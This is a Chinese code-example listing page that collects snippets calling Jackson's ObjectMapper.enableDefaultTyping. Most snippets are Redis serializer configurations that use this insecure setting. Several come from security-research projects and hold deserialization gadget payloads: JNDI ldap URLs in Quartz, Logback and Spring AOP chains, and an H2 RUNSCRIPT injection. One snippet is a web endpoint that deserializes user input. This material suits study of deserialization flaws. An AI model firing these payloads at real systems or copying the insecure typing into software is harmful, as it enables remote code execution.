com.fasterxml.jackson.databind.ObjectMapper#enableDefaultTyping ( )源码实例Demo

下面列出了com.fasterxml.jackson.databind.ObjectMapper#enableDefaultTyping ( ) 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。

源代码1 项目: seckill-rocketmq   文件: RedisCacheConfig.java
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory factory) {
    RedisTemplate<String, Object> template = new RedisTemplate<>();
    template.setConnectionFactory(factory);

    //使用Jackson2JsonRedisSerializer来序列化和反序列化redis的value值(默认使用JDK的序列化方式)
    Jackson2JsonRedisSerializer serializer = new Jackson2JsonRedisSerializer(Object.class);

    ObjectMapper mapper = new ObjectMapper();
    mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    serializer.setObjectMapper(mapper);

    template.setValueSerializer(serializer);
    //使用StringRedisSerializer来序列化和反序列化redis的key值
    template.setKeySerializer(new StringRedisSerializer());
    template.afterPropertiesSet();
    return template;
}
 
源代码2 项目: ZTuoExchange_framework   文件: RedisCacheConfig.java
/**
 * RedisTemplate配置
 * @param factory
 * @return
 */
@Bean
public RedisTemplate<String, String> redisTemplate(RedisConnectionFactory factory) {
    StringRedisTemplate template = new StringRedisTemplate(factory);
    //定义key序列化方式
    //RedisSerializer<String> redisSerializer = new StringRedisSerializer();//Long类型会出现异常信息;需要我们上面的自定义key生成策略,一般没必要
    //定义value的序列化方式
    Jackson2JsonRedisSerializer jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer(Object.class);
    ObjectMapper om = new ObjectMapper();
    om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    jackson2JsonRedisSerializer.setObjectMapper(om);

    // template.setKeySerializer(redisSerializer);
    template.setValueSerializer(jackson2JsonRedisSerializer);
    template.setHashValueSerializer(jackson2JsonRedisSerializer);
    template.afterPropertiesSet();
    return template;
}
 
源代码3 项目: learnjavabug   文件: DefaultTypeTest.java
/**
 * OBJECT_AND_NON_CONCRETE
 *
 * @throws IOException
 */
private static void testGlobalDefaultType2() throws IOException {
  AA aa = new AA();
  aa.setXx(2);
  A a = new A();
  a.setObject(new B());
  a.setAa(aa);
  ObjectMapper mapper = new ObjectMapper();
  //todo 会发现,如果改成 JAVA_LANG_OBJECT 就会报错,OBJECT_AND_NON_CONCRETE 控制接口类的反序列化
  mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
  String json = mapper.writeValueAsString(a);
  // {"i":1,"object":["com.threedr3am.bug.jackson.test.DefaultTypeTest$B",{"i":2}],"aa":["com.threedr3am.bug.jackson.test.DefaultTypeTest$AA",{"xx":2}]}
  System.out.println(json);

  //todo 通过指定非Object class为其他class反序列化成功测试,可以知道,开启了这种全局默认类型,就算不存在Object也可以利用反序列化
  json = "{\"i\":1,\"object\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$B\",{\"i\":2}],\"aa\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$AA\",{\"xx\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());

  //todo 通过指定非Object class为其他class反序列化成功测试,可以知道,开启了这种全局默认类型,就算不存在Object也可以利用反序列化,但需要的是接口interface类型字段
  json = "{\"i\":1,\"object\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$B\",{\"i\":2}],\"c\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$C\",{\"i\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());
}
 
源代码4 项目: openrasp-testcases   文件: Poc.java
public static void run(String rootPath) {
    try {
        Class.forName("org.h2.Driver").newInstance();
        writeSQL();

        String jsonStr = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", " + 
        "{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '/tmp/inject.sql'\"}]";

        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        Object obj = mapper.readValue(jsonStr, java.lang.Object.class);

        System.out.println("objectified");
        System.out.println("stringified: " + mapper.writeValueAsString(obj));
    } catch (Exception e)  {
        e.printStackTrace();
    } 
}
 
源代码5 项目: biliob_backend   文件: RedisConfig.java
@Bean
public RedisCacheConfiguration redisCacheConfiguration() {
    Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer =
            new Jackson2JsonRedisSerializer<>(Object.class);
    ObjectMapper om = new ObjectMapper();
    om.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    om.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    jackson2JsonRedisSerializer.setObjectMapper(om);
    RedisSerializationContext.SerializationPair<Object> pair =
            RedisSerializationContext.SerializationPair.fromSerializer(jackson2JsonRedisSerializer);
    return RedisCacheConfiguration.defaultCacheConfig()
            .entryTtl(Duration.ofHours(1))
            .serializeValuesWith(pair)
            .serializeKeysWith(
                    RedisSerializationContext.SerializationPair.fromSerializer(
                            new StringRedisSerializer()));
}
 
源代码6 项目: marshalsec   文件: Jackson.java
/**
 * {@inheritDoc}
 *
 * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object)
 */
@Override
public Object unmarshal ( String data ) throws Exception {
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    return mapper.readValue(data, Object.class);
}
 
源代码7 项目: onetwo   文件: JsonMapperTest.java
@Test
public void testSerialWithTypeList() throws Exception{
	JsonMapper jsonMapper = JsonMapper.ignoreNull();
	ObjectMapper mapper = jsonMapper.getObjectMapper();
	mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
	
	List<StoreDetailVo> list = Lists.newArrayList();
	StoreDetailVo storeDetailVo = new StoreDetailVo();
	storeDetailVo.setStoreId(1L);
	list.add(storeDetailVo);
	String s = mapper.writeValueAsString(list);
	System.out.println(s);
	
	byte[] bytes = jsonMapper.toJsonBytes(list);
	List<StoreDetailVo> list2 = jsonMapper.fromJson(bytes, new TypeReference<List<StoreDetailVo>>() {
	});
	
	assertThat(list2).isEqualTo(list2);
	String str1 = LangUtils.newString(bytes);
	System.out.println("json str1: " + str1);
	

	TestJsonData u1 = new TestJsonData();
	u1.setCreate_time(new Timestamp(new Date().getTime()));
	u1.setUser_name("user_name");
	String str = jsonMapper.toJson(u1);
	System.out.println("json str: " + str);
	bytes = jsonMapper.toJsonBytes(u1);
	
	String str2 = LangUtils.newString(bytes);
	System.out.println("json str2: " + str2);
	
	/*Map jsonstr = jsonMapper.fromJson(bytes, Map.class);
	System.out.println("json map: " + jsonstr);*/
}
 
源代码8 项目: codeway_service   文件: RedisConfig.java
/**
 * 配置自定义Json序列化器 jackson2
 *
 * @param redisConnectionFactory :redis连接工厂
 * @return :RedisTemplate
 */
@Bean
public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
    RedisTemplate<String, Object> template = new RedisTemplate<>();
    template.setConnectionFactory(redisConnectionFactory);
    // 使用jackson2序列化
    Jackson2JsonRedisSerializer<Object> jackson2JsonRedisSerializer = new Jackson2JsonRedisSerializer<>(Object.class);

    ObjectMapper mapper = new ObjectMapper();
    mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    mapper.registerModule(new Jdk8Module())
            .registerModule(new JavaTimeModule());
    jackson2JsonRedisSerializer.setObjectMapper(mapper);
    StringRedisSerializer stringRedisSerializer = new StringRedisSerializer();

    // key采用String的序列化方式
    template.setKeySerializer(stringRedisSerializer);
    // hash的key也采用String的序列化方式
    template.setHashKeySerializer(stringRedisSerializer);
    // value序列化方式采用jackson
    template.setValueSerializer(jackson2JsonRedisSerializer);

    // hash的value序列化方式采用jackson
    template.setHashValueSerializer(jackson2JsonRedisSerializer);
    template.afterPropertiesSet();


    // 设置默认使用Jackson序列化
    template.setDefaultSerializer(new Jackson2JsonRedisSerializer<Object>(Object.class));
    return template;
}
 
源代码9 项目: learnjavabug   文件: QuartzPoc.java
public static void main(String[] args) throws IOException {
  ObjectMapper mapper = new ObjectMapper();
  mapper.enableDefaultTyping();

  //复现是复现了,但是这样的payload恕我直言,比鸡肋还鸡肋
  mapper.addMixIn(JNDIConnectionProvider.class, AbstractJNDIConnectionProvider.class);
  String json = "[\"org.quartz.utils.JNDIConnectionProvider\", {\"jndiUrl\": \"ldap://localhost:43658/Calc\"}]";
  mapper.readValue(json, Object.class);
}
 
源代码10 项目: learnjavabug   文件: LogbackJndi.java
public static void main(String[] args) throws IOException {

    String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://localhost:43658/Calc\"}]";
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping();
    Object o = mapper.readValue(json, Object.class);
    mapper.writeValueAsString(o);
  }
 
源代码11 项目: learnjavabug   文件: DefaultTypeTest.java
/**
 * NON_CONCRETE_AND_ARRAYS
 *
 * @throws IOException
 */
private static void testGlobalDefaultType3() throws IOException {
  AA aa = new AA();
  aa.setXx(2);
  B[] bArray = new B[3];
  bArray[0] = new B();
  bArray[1] = new B();
  bArray[2] = new B();
  A a = new A();
  a.setObject(bArray);
  a.setAa(aa);
  ObjectMapper mapper = new ObjectMapper();
  //todo NON_CONCRETE_AND_ARRAYS 支持前面两种类型的数组类型
  mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
  String json = mapper.writeValueAsString(a);
  // {"i":1,"object":["[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;",[{"i":2},{"i":2},{"i":2}]],"aa":["com.threedr3am.bug.jackson.test.DefaultTypeTest$AA",{"xx":2}]}
  System.out.println(json);

  //todo 理论上前面能支持的,这个都支持
  json = "{\"i\":1,\"object\":[\"[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;\",[{\"i\":2},{\"i\":2},{\"i\":2}]],\"aa\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$AA\",{\"xx\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());

  //todo 通过指定非Object class为其他class反序列化成功测试,可以知道,开启了这种全局默认类型,就算不存在Object也可以利用反序列化,但需要的是接口interface类型字段
  json = "{\"i\":1,\"object\":[\"[Lcom.threedr3am.bug.jackson.test.DefaultTypeTest$B;\",[{\"i\":2},{\"i\":2},{\"i\":2}]],\"c\":[\"com.threedr3am.bug.jackson.test.DefaultTypeTest$C\",{\"i\":2}]}";
  a = mapper.readValue(json, A.class);
  System.out.println(a.getAa().getClass().getName());
}
 
@RequestMapping("/jackson")
@ResponseBody
public String jackson(@RequestParam(value = "sess") String session) throws IOException, ClassNotFoundException {

    String webUserJackson = new String(Base64.getDecoder().decode(session), "utf-8");
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.enableDefaultTyping();
    User webUser = (User) objectMapper.readValue(webUserJackson, Object.class);

    return "Hello " + webUser;
}
 
源代码13 项目: onetwo   文件: JacksonXmlMapperTest.java
@Test
public void testSerialWithTypeList() throws Exception{
	JacksonXmlMapper jacksonXmlMapper = JacksonXmlMapper.ignoreNull();
	ObjectMapper mapper = jacksonXmlMapper.getObjectMapper();
	mapper.enableDefaultTyping(DefaultTyping.NON_FINAL, As.PROPERTY);
	
	List<StoreDetailVo> list = Lists.newArrayList();
	StoreDetailVo storeDetailVo = new StoreDetailVo();
	storeDetailVo.setStoreId(1L);
	list.add(storeDetailVo);
	String s = mapper.writeValueAsString(list);
	System.out.println(s);
}
 
源代码14 项目: scaffold-cloud   文件: JsonSerializerUtil.java
private static Jackson2JsonRedisSerializer serializeConfig() {
    Jackson2JsonRedisSerializer jackson2JsonRedisSerializer =
            new Jackson2JsonRedisSerializer<>(Object.class);
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
    jackson2JsonRedisSerializer.setObjectMapper(objectMapper);
    return jackson2JsonRedisSerializer;
}
 
源代码15 项目: dualcache   文件: JsonSerializer.java
/**
 * Default constructor.
 * @param clazz is the class of object to serialize/deserialize.
 */
public JsonSerializer(Class<T> clazz) {
    this.clazz = clazz;
    mapper = new ObjectMapper();
    mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.NONE);
    mapper.setVisibility(PropertyAccessor.FIELD, JsonAutoDetect.Visibility.ANY);
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
}
 
源代码16 项目: learnjavabug   文件: SpringAopPoc.java
public static void main(String[] args) throws IOException {
  ObjectMapper mapper = new ObjectMapper();
  mapper.enableDefaultTyping();

  String json = "[\"org.springframework.aop.config.MethodLocatingFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\", \"methodName\":\"Foo\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
  Object o = mapper.readValue(json, Object.class);
}
 
源代码17 项目: mall-learning   文件: RedisConfig.java
@Bean
public RedisSerializer<Object> redisSerializer() {
    //创建JSON序列化器
    Jackson2JsonRedisSerializer<Object> serializer = new Jackson2JsonRedisSerializer<>(Object.class);
    ObjectMapper objectMapper = new ObjectMapper();
    objectMapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY);
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
    serializer.setObjectMapper(objectMapper);
    return serializer;
}
 
源代码18 项目: syhthems-platform   文件: JacksonConfig.java
/**
 * Redis缓存使用的ObjectMapper,包含了字段类型定义和基础字段
 *
 * @return ObjectMapper
 * @see GenericJackson2JsonRedisSerializer
 */
@Bean
public ObjectMapper cacheObjectMapper() {
    ObjectMapper objectMapper = this.withoutFilterObjectMapper();
    objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
    objectMapper.registerModule(new SimpleModule().addSerializer(new CustomNullValueSerializer(null)));
    return objectMapper;
}
 
public void exampleTwo(String JSON)  throws Exception {
    ObjectMapper mapper = new ObjectMapper();
    mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
    Object obj = mapper.readValue(JSON, ABean.class);
}
 
源代码20 项目: JavaSCR   文件: Polymorphism.java
private static Object deserialize(ObjectMapper mapper, File f) throws IOException {
  mapper.enableDefaultTyping();
  return mapper.readValue(FileUtils.readFileToByteArray(f), Object.class);
}